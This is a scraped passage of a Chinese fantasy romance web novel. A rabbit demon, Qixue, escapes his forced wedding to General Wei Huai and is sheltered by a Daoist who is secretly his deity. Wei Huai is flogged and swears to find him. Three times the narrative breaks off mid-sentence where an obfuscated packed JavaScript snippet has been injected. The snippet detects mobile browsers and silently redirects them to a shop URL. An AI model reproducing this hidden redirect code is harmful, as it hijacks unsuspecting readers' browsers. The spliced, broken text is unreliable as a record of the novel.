鼓吹喧阗,结驷连骑,盛大的迎亲队伍招摇过市,全上京城的百姓都知道今天是卫淮的大喜之日,纷纷驻足在街边竞相观看,想要一睹大将军和将军夫人的风采。 迎亲队伍停在国公府的正门前,卫淮翻身下马,迎绮雪下轿。 轿帘被掀开的一刻,绮雪甚至没顾得上逃跑,立刻抬起珠扇严密地遮住面容,生怕被人看清他的模样。 要是被百姓记住他的脸就完了!到时人人都知道他是将军夫人,他还怎么做陛下的妃子! 卫淮笑了笑,虚扶着绮雪的后腰,将他引入国公府。 国公府处处悬灯结彩、披红挂绿,装扮得喜气盈盈,喜宴上,大多数宾客皆已入座,庆国公和夫人坐在花堂中,他们对面坐着徐太守夫妇,花堂的主位是空悬的,那是留给天子贺兰寂的位置。 吉时将近,却仍未见到天子的御驾,国公夫人有些着急,吩咐身边的大丫鬟,叫她赶紧去打听皇宫那边的动静。 不多时大丫鬟匆匆回禀,说是宫门未开,陛下圣体抱恙,怕是要晚些时候才能亲临了。 贺兰寂身体很差,时常吐血昏迷,这在朝野中不是什么秘密。 众大臣对此讳莫如深,却在心里觉得这是因为贺兰寂罔顾人伦、逆天悖理,亲手杀兄弑父,才会遭到天谴。 但无论朝臣们对贺兰寂有多少不满,也绝不敢有分毫不臣之心,贺兰寂的手腕暴虐血腥,深深地震慑着他们,再加上掌管天下兵马的大将军卫淮对贺兰寂奉命唯谨,可以说只要贺兰寂不死,他的江山就会永远稳固昌盛,绝不会有败亡的那一天。 与其举兵造反,倒不如寻个妖道诅咒贺兰寂短命来得现实。 国公夫人微微倾身与庆国公耳语几句,告知他天子尚未离宫的消息,庆国公决定先把绮雪送到花堂后休息,宁可耽误吉时,也要等到贺兰寂亲临。 绮雪被仆从送进房间,卫淮没有陪他,而是回到了堂前招待宾客。 他这一走,反而让绮雪松了口气,赶紧琢磨起了逃婚的计划。 事到如今,他知道自己恐怕很难逃出去了,但他不愿轻言放弃。他还是将最大的希望寄托在山阴娘娘身上,为什么娘娘没有来救他呢,难道是他使用兔毛的方法不对,要不要再用一根? 他正踌躇着,忽然有人轻轻地推门而入,扭头一看,原来是几天不见的杏儿。 杏儿看清绮雪艳丽的妆扮,也是难免一愣,但她来不及沉浸于他的美貌,迅速关上门走了过来,低声说道:“公子,我是来放你走的。” 绮雪怔忪地看着杏儿俯身蹲在他面前,掀开喜服的下摆,露出右脚踝上的金脚镯,接着她从怀中掏出一只小瓶,将里面的水倒在了脚镯上。 随着“啪”的一声轻响,脚镯竟然打开了,“当啷”掉了下去,绮雪就这样重获自由了。 杏儿解释道:“这是我去道观求来的符水,可以破解法器。公子快变回原形吧,这样我就能带你出去了!” “你……”绮雪吃惊地望着她,“你知道我是妖族?” 杏儿点点头:“是将军告诉我的,这样一来,如果遇到什么特殊情况,还可以由我来照顾你。” 绮雪满心疑惑:“你明知道我是妖物,为什么还愿意放我走?你不怕卫淮责罚你吗?” “……” 杏儿有些沉默,显然她不是毫无畏惧,却依然义无反顾:“因为公子不开心,我做不到视而不见。” “将军是我的救命恩人,我愿意用我的性命报答他的恩情,但公子是我的好朋友,我也愿意为你做一切事情。” “何况将军囚禁你本来就是错误的,强娶你为妻,更是错上加错,如果他真的喜欢你,就不该这样不顾你的意愿。” 听了她这一席话,绮雪心中熨贴,自然十分感动,有那么一瞬间,他甚至想为了杏儿留下来,但杏儿很快打断了他的思绪:“不说了,时间紧迫,公子快躲进来,不然拖得越久,我们就越不好逃出去了。” 她拍了拍盛满鲜花的花篮,示意绮雪躲进里面,绮雪咬咬牙,不再犹豫,也没有脱掉喜服,直接变回兔团跳了进去。 左右杏儿已经弄坏了脚镯,想救他的心思是瞒不过卫淮的,无论怎样都要受罚,他还是不要辜负杏儿的心意,等到逃出去之后再想办法救她吧。 杏儿兔团身上撒满了鲜花和花瓣,将他严严实实地藏好,便拎起了花篮。 临出门前,她迟疑一瞬,低声对兔团说:“但是……尽管将军做了这么多错事,我还是希望公子不要恨他,将军其实不是想要伤害公子,他就是……” 兔团宽慰她:“我明白,你不用担心,我从来没有恨过卫淮。” 他对卫淮最多也就是有点怕,毕竟他搞不清楚卫淮的真身到底是什么东西,要说恨完全谈不上,他原本就挺喜欢卫淮的,现在也并不记恨卫淮对他做的这些事。 杏儿放心了,提着花篮离开房间,向人少的后门走去。 兔团趴在花篮的最下层,一动不动,警惕地聆听着周遭的动静,好在不少侍女都手提花篮,将娇艳的花枝送给客人们,杏儿的花篮也就没有那么引人注目了。 半途他们偶遇了一位客人,主动向杏儿索要鲜花,害得他们紧张了一番,好在除了这位客人,这一路上再无其他风波,他们很顺利地到达了后门。 可就在此时,杏儿僵住了身形。 “怎么办……”她悄声对篮中的兔团说,“将军的白虎就趴在那里呢。” 只见白虎懒洋洋地趴在门边,尾巴一甩一甩的,用前爪扒拉门房的腿,向他讨酒喝。 门房与白虎相熟,便给白虎倒了碗酒:“看在今日将军大婚的份上,就让你这馋虫也多喝几碗喜酒,不过这是最后一碗了,不能再多喝了,否则将军闻到你一身酒味,一定不会轻饶你。” 白虎“嗷呜”一声,表示自己知道了,门房拍拍虎头,抬眼就看到杏儿:“哟,杏儿姑娘,这是要出去啊?” “是呀。”杏儿镇定下来,笑盈盈地说,“我要去为庞夫人送篮花,她最喜欢咱们府的花了。” 她轻轻地用手掌搭着花篮,希望花香能够遮盖兔团身上的妖气,兔团心知不妙,用极轻地声音对杏儿说:“换个门走。” 于是杏儿又说:“不过我忽而想起我忘了带夫人最喜欢的素白台阁,我再回去取一趟。” 门房不疑有他,笑着说道:“快去吧。” 杏儿转身离开,刚巧一阵微风吹过,自她身边经过吹向白虎,白虎懒懒地嗅了嗅味道,突然猛地站起身来,朝着杏儿走了过去。 “照影,你去哪儿?” 门房不明所以地叫了白虎一声,杏儿回头一看,知道白虎发现兔团了,立刻拔腿就跑,白虎咆哮一声,也跟着奔跑起来,如同白色流星般朝着杏儿撞了过去! 杏儿一路狂奔,专门朝着人多的地方跑,希望护卫可以拦下白虎,但白虎一路横冲直撞,寻常的护院完全拦不下它,瞬间就被它撞得人仰马翻。 若不是白虎喝了不少酒,脚步有些踉跄,杏儿早就被它追上了,兔团在花篮里剧烈颠簸,都快被颠吐了,成了一团可怜的兔饼,再加上他个头太娇小了,这会连篮子都爬不出去。 杏儿仗着身形矮小,灵活地穿过假山和楼阁,即将混入喜宴中,白虎无论如何也不敢扰乱喜宴,却又不甘心放跑兔团,于是张口吐出一道闪电,正中杏儿脚下的石砖。 “嘭”的一声,石砖碎裂,杏儿猝不及防地被翘起的边缘绊倒了。 她怀中的花篮倏地飞了出去,花枝漫天散落,其中夹杂着一只晕晕乎乎的兔团。 白虎冲过去就要叼住兔团,但在它靠近之前,一柄拂尘忽地扫过它的脑袋,力道看似轻若鸿毛,却将白虎推出数丈之外,健壮的虎躯重重地仰倒下去,发出可怜的哀嚎。 兔团感觉到自己落入到温暖的怀抱中,同时闻到了清淡的焚香味。 他迷迷糊糊地抬起小脑袋,接住他的人也刚好看向他,低垂着眉眼,与他四目相对。 这是个年轻男人,手持拂尘,一身素白道袍,头戴乌木簪,是云月观的道士。 他的五官并不算多么惊艳,只是清秀的好看,但他的双眼非常特别,目光如同藏着海雾,似垂怜,似悱恻,散发着悲天悯人的气息,教人过目难忘。 当年轻道士出现在喜宴之上,所有宾客都吃了一惊,纷纷起身行礼,庆国公与夫人更是前来亲迎:“我等竟不知玄阳道长大驾光临,不曾出府相迎,还望道长恕罪。” 在场之人无一不是贵戚权门,却都对年轻道士尊敬有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她疑惑地离开了,玄阳收回目光,面对庆国公的挽留,他笑笑说道:“多谢国公大人,只是我尚有要事在身,不便久留,还是改日再来府上拜访吧。” 随着玄阳离开国公府,来到一座空旷的庭院中,兔团心都凉了,以为自己这回死定了,甚至玄阳将他放了出来,他一时都没反应过来,就这样愣愣地被玄阳捧在手心里。 玄阳垂眸看着兔团,点了点他的粉鼻尖:“很害怕吗?” “!” 兔团回过神来,立刻撒腿就跑,却被玄阳扣住了:“别怕,阿雪,你再好好看看我是谁?” 兔团:“……?” 按理来说玄阳不可能知道他的身份,可他不仅叫出了他的名字,语气还颇为亲近,似乎和兔团早已相识。 他惊疑不定地盯着玄阳的脸,玄阳也任由他看。 看得久了,兔团还真的产生了一丝熟悉的感觉,但并不是对玄阳的面孔,而是他的眼神。 这种垂怜众生的温柔目光,他曾经见过无数次,可是这不可能啊,玄阳怎么会是…… “认出来了?” 玄阳轻柔地抚摸兔团:“我就知道你不会让我失望,你日日诚心祭拜我,又岂会认不出我?” 真的是山阴娘娘! 兔团瞬间惊喜交加,拱起兔屁股就要跪拜:“弟子见过山——” “嘘。” 玄阳按住兔团的三瓣嘴:“不要轻易叫出那个名号,尤其是在苍山,你只能叫我‘玄阳’,记住了吗?” 兔团黑葡萄似的眼睛亮亮的:“弟子记住了。” 玄阳露出笑意:“乖孩子。” “可是……恕弟子冒昧,您的这具法身为什么会是男子呢?”兔团问。 玄阳微微摇头:“你这样问我,大抵是认为我的真身是女子,但其实不是。” “我的真身并无男女之别,甚至既非人身,也非妖身,你无法理解,亦无法窥见。” “世间万物皆可化为我的法相,‘山阴’只是你们最熟悉的一具法身,但她并不是真正的我。” “‘玄阳’同样也不是。” 说到这里,玄阳轻笑一声:“只不过……知晓‘玄阳’和‘洞渊神灵’有关系的人,你是唯一一个。” “无论是哪具法身,阿雪,你都是我最喜爱的信徒。” 20.20 玄阳的一席话令兔团受宠若惊,整只兔都染上了淡淡的粉色。 他期期艾艾地应道:“承蒙圣君厚爱,弟子一定不会辜负您的期望!” 既然“玄阳”这具法身是男子,再叫“娘娘”就不合适了,还是称呼“圣君”比较好。 兔团满心崇拜地望着玄阳,虽然他看过原著,知晓“洞渊神灵”有万千法身,但里面还真没有提起过“玄阳”,大概是因为圣君也看了小说,这才使剧情发生了改变。 圣君不愧是圣君,果真是手眼通天,竟然能成为谢殊的亲传大弟子,也幸好今天带他出来的人是圣君,不然换做是其他道士,说不准他这会就已经没命了。 圣君是收到兔毛的求救才专程赶过来的吗? 兔团不太清楚,不过不管怎么样,他总算逃出将军府了,接下来就是尽管联系上董内侍,为他安排入宫的事宜,还有就是免除杏儿的责罚,估计就只能向圣君求助了。 他正琢磨着该如何向玄阳开口,玄阳说道:“我有几句话要交待你,你变成人身吧,我们坐下来慢慢说。” “是,圣君。” 兔团听话地变回人形,身上仍然穿着大红婚服,头戴珠冠,容颜绮艳,如绚丽的明珠般映亮了玄阳的眼底。 玄阳怀抱拂尘,静静地望着绮雪,绮雪吃力地从头上摘下珠冠,这东西实在太沉了,压得他的脖子都快断了。 他珍惜地抱着珠冠,扔是不可能扔的,这顶珠冠镶嵌着百颗明珠,颗颗价值连城,以后还能拆下珠子换钱呢。 “跟我来。” 玄阳将绮雪引入庭院深处,走进暖阁中,暖阁装饰简朴,墙上挂着两三幅山水画,几个蒲团摆在矮桌前,暖炉上煮着泉水,散发出袅袅的雾气。 绮雪放下珠冠,坐在蒲团上,玄阳净手沏茶,将茶杯放在他面前,绮雪喝了一口,只觉茶香沁人心脾,饮下茶水后,口中会泛起微微的回甘。 “这是我自己种的茶。”玄阳说,“好喝吗?” 绮雪惊讶,用力地点点头:“是弟子喝过最好喝的茶!” 玄阳笑了笑,目光温和地注视着绮雪将茶喝完,又为他添了一杯,这回绮雪喝慢了许多,主要是不好意思劳烦玄阳为他添水:“不知圣君想吩咐弟子何事?” “我带来了你的东西,应该都在这里。” 玄阳摊开手掌在桌面上一抹,绮雪的东西就凭空出现了,令牌、香囊、金条一样不少,绮雪惊喜地收了起来:“多谢圣君。” 玄阳瞥了一眼绮雪身边的珠冠:“你不懂袖里乾坤之术?” 绮雪难为情地摇摇头,兔族天生妖力低微,能学习的法术相当有限,为了变人,他放弃了其他法术,只能以后再慢慢学。 岂料玄阳没有责怪他,反而说道:“是我考虑不周,你低头,我赠你一物。” 绮雪乖乖地低下头,看到玄阳将手伸到他面前,将一枚翡翠玉牌戴在了他的脖颈上。 玉牌是冰种翡翠,通体透明,泛出微微的淡蓝色,正面雕刻着庄严慈悲的佛像,非常精致漂亮。 绮雪正要道谢,忽然发现玉牌不太对劲,它摸起来不是冰凉的,而是温热的,再仔细一看,佛像竟然是活物,而玉牌的背面则是狰狞的恶鬼面孔,缓缓地冲绮雪张开血盆大口。 这是什么东西?! 绮雪受惊地扯下玉牌,正要把它摔得粉碎,玄阳及时按住了他的手:“别怕,有我的法术束缚,它伤不了你,你可以用它保管你的东西。” 经过玄阳解释,绮雪才得知原来玉牌就是最普通的翡翠,不同的地方在于里面封印着一只食人妖魔。 这种食人妖魔名为“佛陀鬼”,狰狞的鬼脸是它的正面,慈悲的佛像是它的后背,一般会待在废弃的破庙里,伪装成佛像,吞食过路的行人。 这只佛陀鬼不仅食人,还吃了很多弱小的小妖怪,为了惩戒它,玄阳将它囚禁在了玉牌中,并对它施以袖里乾坤术,将它做成了储物袋。 玄阳道:“除去储物,这枚玉牌还能保护你,必要的时候,你可以将这只食人妖魔释放出来,吃掉那些阻碍你的人。” “它会吃得很干净,不留一丝痕迹,同时它身上打了我的道印,不会惊动任何阵法和道士。” 他将驱动佛陀鬼的咒语教给绮雪,绮雪很快记住了,但心里还是有些毛骨悚然,如果不是遇到生命危险,他绝不会将这头恐怖的食人妖魔放出来。 不过如果只是把玉牌当做一个储物的法器,其实还是很好用的。 绮雪将珠冠和其他东西全都放进玉牌里,佛陀鬼大口一开,全都吃进了肚子里,原来它刚才张嘴不是想吃了绮雪,而是示意绮雪往它嘴里放东西。 玄阳道:“我收到你的求救,却迟了几日才到,这枚玉牌就算是我的赔礼。你记得贴身携带,遇到生死危难,它能为你替死一回,我会收到感应,立刻出现在你面前。” 这枚玉牌的作用实在太多了,绮雪当然明白它的珍贵,心怀感激地向玄阳行礼跪拜:“弟子多谢圣君赐宝。” “不必多礼。” 玄阳将他扶起来,宠爱地说:“你还有什么需求,可以一并说出来。” 绮雪犹豫一下:“弟子确实有不情之请。” “尽管讲。”玄阳道。 绮雪吞吞吐吐地说:“弟子想到一个断绝姬玉衡登上太子之位的办法,就是……弟子可以为陛下生个孩子,所以弟子想讨要一枚抱岁丹……” 他有点难为情,脸颊红红的,神情楚楚可怜,万般惹人恋爱。 玄阳忍俊不禁,抬手抚摸他的头发,温声道:“这倒是个好主意,等到观中炼成下一炉抱岁丹,我会为你送来。” “谢谢圣君,还有就是……” 绮雪很想取下胸前的乳.钉,可这种事实在不好向玄阳开口,最后他还是改口了,提起了杏儿的事。 “那个想要放走弟子的小姑娘名叫杏儿,是弟子的好朋友,卫淮一旦发现弟子失踪,肯定会查到杏儿头上,不知圣君能不能帮弟子免除她的责罚?” “可以。”玄阳颔首,“我会处理剩下的事,卫淮不会查到她的头上,也不会找到你,你大可安心入宫。” 绮雪露出甜甜的笑:“圣君真是神通广大。” “只此一次,下不为例。” 玄阳话锋一转:“你若是遇上任何困难,尽管向我求救,但不要为其他人求情。” “这条路很难,太过善良只会害了你自己,不要对他们心慈手软。谁挡了你的路,你就杀了谁,我要你不择手段,爬上最高的位置,让这天下永无宁日,你能做到吗?” 他凝视着绮雪,眸光依然柔和慈悲,怜悯众生,却令人不寒而栗,从骨子里升起一股冷意。 “弟子……”绮雪深吸口气,郑重地点头,“弟子能做到。” “好,我信你。” 玄阳莞尔,从蒲团上站起身:“我带你去卧房,今日你好好休息,从明天开始,我会传授你一些法术,学成后你再入宫。” - 就在绮雪离开后不久,国公府所在的长安街上出现了数道人影,他们骑着凶恶的妖兽,身披浓赤色锁子甲,煞气逼人,手持黑戈挥动,驱逐着街边的百姓,逼迫他们让开道路。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13117204|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但看见他们,即使不用驱赶,百姓也纷纷仓皇地逃离了街边,上京无人不识这些铁骑正是天子的禁军朱厌卫,个个心狠手辣杀人如麻,若是惹上他们,绝不会有什么好下场。 朱厌卫清理了街道,便守卫在道路两侧,不多时,街道的尽头出现了盛大的天子仪仗。 最前方的是十二重引驾,朱厌卫驾驭妖兽,手执刀斧,杀气凛凛地开路,跟随其后的是乐队和旗队,重鼓与号角之声雄浑厚重,各色旌旗飘扬,每一面都绣着不同的猛兽与妖魔。 “嗒嗒、嗒嗒……” 沉重的车轮声滚滚而至,四头形似白狐的巨大妖魔并排而行,拉动着后方的玉辂,玉辂车身通体乌黑,雕刻着丰富细密的花纹,车顶四角悬挂金玲,华美繁重,是专属天子的御驾。 玉辂车窗紧闭,丝毫没有露出车内的景象,也无人胆敢窥见天颜。 玉辂之后,跟随着重重的黑影,它们是一群细长的人形黑影,周身幽冷如冰,没有五官,是名为“魇”的妖魔,由巫术幻化而来。 仪仗行至国公府门前,玉辂缓缓停下,主家与宾客皆来跪拜迎接,卫淮单膝跪在最前,低头拱手道:“臣等恭迎陛下。” “都起来吧。” 玉辂中传来的声音略显沙哑,语气轻而冰冷,似冬夜的霜雪。 黑影打开玉辂的车门,门后递出一只修长苍白的手,由黑影托住,将车中的帝王扶下玉辂。 天子玄衣纁裳,头戴冕旒,垂落的玉珠半遮着他年轻冷漠的面容,隐约可见他的唇薄窄而色浅,眉骨与鼻梁高挺,五官轮廓俊美得锋利,面容缺乏血色,但发色与瞳孔都漆黑如浓墨,神色阴郁寡淡。 一道黑影伏于地面,以后背作为脚凳,承受着贺兰寂的践踏。 贺兰寂缓缓下车,他虽病弱,身量却极高,气势强大威严,压迫感极重。 在场之人除卫淮之外,皆是将头颅深深低下去,小心翼翼地起身,立于两侧迎接贺兰寂入府。 卫淮走在前方为贺兰寂引路,他眉眼间满含笑意,神采飞扬,贺兰寂瞥了他一眼:“你很高兴?” “当然高兴。” 卫淮笑着回应,他与贺兰寂是年少相识的好友,私下里说话还是相当随意的:“陛下没有心上人,也不曾大婚,自然不明白我的心情,我期盼这一天已经很久了。” 贺兰寂不语,卫淮又说道:“不过还是要多谢陛下为我赐婚,否则我还要多费一番功夫说服几位长辈,实在是麻烦。” 卫淮的父族是勋臣之后,母族亦是世代簪缨,两边其实都不太赞成卫淮的婚事,一是绮雪出身不高,双亲又早亡,一直仰仗于“姨丈”徐太守过活;二是婚期过于仓促,他们甚至都没见过绮雪,又如何心安地支持婚事呢? 虽然卫淮不会听他们的,但终归都是自己的长辈,忤逆的名声传出去也不好听,他索性搬出贺兰寂堵住亲族的嘴,难道他们还敢拒绝天子的赐婚吗? 他们当然不敢,卫淮顺利地筹备了婚事,只待今日的洞房花烛之夜,就可以和绮雪结为真正的夫妻。 所有人重新回到喜宴,贺兰寂坐上花堂的主位,那些黑影悄无声息地没入他身后的屏风,护卫着他的安全。 卫淮亲自去花堂后接绮雪过来拜堂,然而当他走到房前的时候,却见屋门大敞,侍女们脸色惨白地望向屋中,一见到卫淮就立刻跪了下来。 卫淮意识到什么,加快脚步走了进去,最先映入眼帘的就是他送给绮雪的金脚镯,一滩水渍仍未干透,散发着淡淡的符水气味。 而本该在屋中等候他的绮雪赫然不见了身影。 21.21 卫淮迟迟没有将绮雪带来拜堂成亲,已经引起了宾客的议论,国公夫人心中担忧,决定亲自过去看一看,便向贺兰寂告退,与贴身侍女一起来到了花堂后面的房间。 房中不见新娘的身影,只有卫淮一人,他坐在桌边,低垂着幽暗的绿色竖瞳,浑身散发出的妖气残暴恐怖,几名侍女无法承受,早已昏倒在了门口。 他的手中紧捏着一只金脚镯,已然被他捏得变了形状,看到上面镶嵌的宝石和宝珠,国公夫人一眼就认出来这是当年她为卫淮求来的法器。 在卫淮八岁那年,她就是用这件法器亲手锁住了他,将他关在暗无天日的地下,囚禁了整整半年,才重新放他出来。 因为只有这样才能保住她孩儿的命。 回忆起那些可怕的往事,国公夫人不由自主地身体轻颤,而现在卫淮重新拿出了这件法器,更是让她心中升起了一种强烈的不祥之感。 她强自镇定问卫淮:“怎么只有你自己在,绮公子人呢,他不在房中吗?” 听到母亲的声音,卫淮抬头看向她,逼迫自己冷静下来,眼睛慢慢恢复成原色,哑声说道:“他走了。 ” “走?”国公夫人一时未能理解,“去哪里?” 卫淮扯了扯嘴角,却根本不像是一个笑容:“他不愿意和我成亲,是我一直勉强他,用脚镯将他锁住,但他打开了脚镯,已经离开了。” 脚镯就是专门用来锁妖物的,国公夫人闻言色变:“七郎,你实话告诉娘,那位绮公子到底是什么人?” 卫淮没有回答,起身朝后门走去,夫人将他拦下:“你要出去找他?” “嗯。”卫淮说,“他走不远,肯定还在上京,我必须找到他。” 国公夫人道:“你不能走,今天这场婚礼是陛下主持的,总不能让陛下久等你,至少也要等到婚礼办成再出去。好在宾客们都没见过绮公子,不如就找个面生的仆从顶替上去……” “没有人能顶替阿雪。” 卫淮打断母亲的话,像是下了某种决定,将脚镯贴身收起,大步流星地回到花堂。 宾客们只见卫淮一人回来,心中更是诧异,徐太守和徐夫人见此情形,彼此交换眼神,都满含着藏不住的担忧。 他们此次受邀参加绮雪的婚礼,原本是非常高兴的,托绮雪的福,这几个月来青郡大有百废渐兴的迹象,他们都对绮雪铭感在心。 作为绮雪的“姨母”和“姨丈”,夫妇二人特意不远千里为绮雪运送来了丰厚的嫁妆,就是想为他撑起门面,好让他嫁入卫家后能不受欺负。 二人来到上京后,几次送上拜帖都没能见到绮雪,本想着也许是绮雪因婚事繁忙,没空见他们,就没有再打扰,可今天是成亲的大好日子,他怎么还没来拜堂成亲? 众目睽睽之下,卫淮独自穿过喜宴,来到花堂前,向贺兰寂跪拜:“请陛下恕罪。” 主座上,贺兰寂冷淡的目光穿过玉旒,落在卫淮身上。 卫淮垂首说道:“臣妻突发恶疾,卧病不起,今日不能有幸面见天颜,还望陛下准许臣推迟婚礼,待臣妻身体康复,再请准陛下为臣主婚。” 他此言一出,宾客们都倒吸一口凉气,庆国公和一众家眷更是惊慌失措地跪倒下来,向贺兰寂请罪。 天子主婚,新娘却没有出现在喜宴上,若是陛下有心问罪,便是欺君之罪也不为过,这可是要满门抄斩的! 喜宴上一片死寂,听不到丝毫声音,所有人全都跪了下来,惊恐地等候着贺兰寂发话。 庆国公更是满脸冷汗地伏低身体,想杀了卫淮的心都有了。 他不知道发生了什么,但就算新娘真的突发恶疾,这逆子难道就不会找个人顶替上来,为什么偏偏要驳了陛下的颜面?他仗着自己大将军的身份,就连陛下也不放在眼里了? 贺兰寂沉默地望向卫淮,幽深的凤眸古井无波,冷漠如冰,没有流露出丝毫情绪。 许久之后,他开口说道:“准奏。” “谢陛下。”卫淮深深拜谢。 “命太医署前来问诊。”贺兰寂伸出手,由魇魔扶起,缓缓从座位上起身,“卫淮杖五十,半月内不得踏出国公府半步。” 卫淮神色丝毫不变:“臣遵旨。” - 一场万众瞩目的盛大婚礼就这样草草地结束了。 自这天之后,国公府大门紧闭,严禁任何人出入,卫淮受杖刑后便按照贺兰寂的旨意闭门思过,没有再去上朝。 太医署的人倒是来了几趟,只不过是给卫淮和庆国公看伤看病,至于“突发恶疾”的新娘,双方都默契地没有提起,任谁都知道那就是卫淮的托辞而已。 京中渐渐传开了流言,大将军的新娘之所以没有出现在婚宴上,并不是因为染病,而是他逃走了,或是被妖魔吃了,再不就是被卫淮杀了,说什么的都有。 而最糟糕的还不仅仅是流言蜚语。 卫淮身为战无不胜的大将军,在百姓的心中地位崇高,但憎恨他的政敌也不在少数。 以往他深受天子信任,这些人不敢向贺兰寂进谗言,可这回贺兰寂重罚了卫淮,他们认为时机已到,便疯狂地在朝堂上攻讦卫淮,一时间,弹劾的奏书如雪花般飘到了御案上。 国公府。 庆国公受了刺激,大病数日,方才慢慢好转。 好不容易才能起身,他做的第一件事不是别的,而是拖着沉重的病躯将卫淮押到祠堂,让他跪在祖宗的牌位前,用尽全身的力气,重重地抽了卫淮十几鞭。 卫淮前几日才受了五十杖刑,尽管其体魄之强健远非常人可比,此时也仍然伤势未愈,脊背遍布皮开肉绽的伤疤,这十几鞭下来,他后背的皮肉几乎已经烂掉了,鲜血流了满地,整座祠堂都弥漫着浓郁的血腥气。 “大伯伯,求您别打了,七哥哥真的受不住了!” 卫淮三岁的小表妹哭着抱住庆国公的腿,除了她之外,祠堂外还跪了满地人,都是来为卫淮求情的族人。 庆国公抱起小姑娘,让侍女带她回去,疾声厉色地对堂外的族人说:“我知道,你们为这孽障求情,是因为你们顾念亲情,不忍看他遭受责罚。” “可他呢,他为了他的一己私欲,恳请陛下推迟婚礼,当时他可曾为你们考虑过分毫,有没有想过他会连累全族的性命?!” 他的余音回荡在宽阔的祠堂中,而祠堂之外,所有人皆沉默无言。 庆国公喘着粗气,平复着呼吸,用带血的鞭子指着卫淮。 “孽障,我问你,你知错吗?” “就是因为你执意要和那个乡野的粗鄙俗子成婚,才让庆国公府名声扫地,成了全上京的笑话!你对得起卫家的列祖列宗、对得起你的族人吗?” “早知道你会惹出这样的祸事,当初就根本不该救你,你死在那妖魔的腹中才是——” “夫君!” 始终缄默不语的国公夫人蓦地打断了庆国公,微红的双眸中迸出冷芒,含泪说道:“你不能这样说七郎。” “你不能。” “……”庆国公自知失言,懊恼地将鞭子扔到卫淮身上,“你今晚就跪在这里好好反省,想想自己都做了什么好事!” “过段时日,你去禀告陛下,就说绮雪已经病死了,让你娘为你另说一门婚事。不过你别指望能说到什么好人家,新娘一进门就死了,你的名声也臭了,谁还愿意嫁给你做续弦?” 卫淮失血过多,双唇和面色惨白如纸,闻言却笑了一声,像是听到了什么荒唐的笑话。 “要我娶别人?不可能。” 他说:“我娶的是绮雪,今生今世就只认他一个。他要是死了,我决不会独活,如果他另嫁他人,我就先杀了他,再跟他一起死,和他做一对九泉之下的夫妻。” 庆国公被他气得脸色铁青,重新举起鞭子,重重地抽在卫淮绽开的皮肉上:“你要娶谁?我问你,你要娶谁!” 血花飞溅,鞭上的倒刺刮下肉沫,卫淮因剧痛皱起眉头,一字一顿地开口:“我要娶绮雪。” “啪!” 又是一道鞭声落下,汩汩鲜血顺着卫淮的手臂流淌下来,染红了他手中紧握的金脚镯。 他仍旧一字不变:“我要娶绮雪。” 他挨了一鞭又一鞭,庆国公彻底发了狂,谁来求情他就连谁一起打,打到最后,他终于累了,步履蹒跚地回去歇息了,而卫淮被简单处理了伤势,还要继续留在祠堂跪着反省。 灯火黯淡,地面上的血迹已经被擦干净了,堂中却还是弥漫着淡淡的腥气,卫淮昏昏沉沉地跪在牌位前,凝视着手中的金脚镯,五指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127734|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐渐拢紧。 “阿雪……” 他低声呢喃,眼眸乌沉沉的,垂首轻吻脚镯。 “你逃不掉的。” “你注定是我的妻子,也只能做我的妻子。” “上天入地,我一定会找你。” - 绮雪在庭院中待了数日,根本不清楚外界发生的事,一心跟随玄阳学习法术。 玄阳作为谢殊的大弟子,代谢殊执掌云月观,每天都有数不清的事要处理,但晚上他还是会抽空教绮雪法术,绮雪妖力不足,他就把自己的法力转化为妖力渡给绮雪。 绮雪本就有天赋,在玄阳的教导下,很快学会了几种法术,都是玄阳认为他很有必要学习的避祸保命之术。 一是易容之术,二是避毒之术,三是遁地之术。 法术的效用就和名字一样,易容是改变样貌的法术,连身形和气味都可以变化,避毒是百毒难侵的法术,遁地是遁入地下,行进的速度很快,而且即使隔着金石的地砖也能使用。 学成法术后,绮雪用易容术变了个模样,出门找绿香球见面,玄阳说他的法术学得很好,只要不是遇上特别厉害的道士,易容术就不会被识破。 走在繁华的大街上,绮雪才发现自己逃婚的事竟然闹得整个上京满城风雨。 不仅是卫淮的诸怀卫遍布全城,搜查他的下落,百姓们也都在议论这桩婚事,有笑话卫淮和国公府的,也有说新娘其实已经暴毙而亡了,描述得绘声绘色,仿佛他亲眼看见似的。 听到有人对卫淮冷嘲热讽,绮雪有点生气,但好在卫淮深受百姓爱戴,就算他不出面,也有的是人替卫淮出头,那几个人很快就被骂得灰溜溜地离开了。 想到这种局面就是由自己造成的,绮雪叹了口气,难免感到愧疚,可转念一想,如果不是卫淮非要囚禁他,他也就不必逃跑了,自己算是和卫淮扯平了,并不欠他什么。 继续走了一会,绮雪来到了和绿香球约定的地点,和她见了面。 “阿雪!” 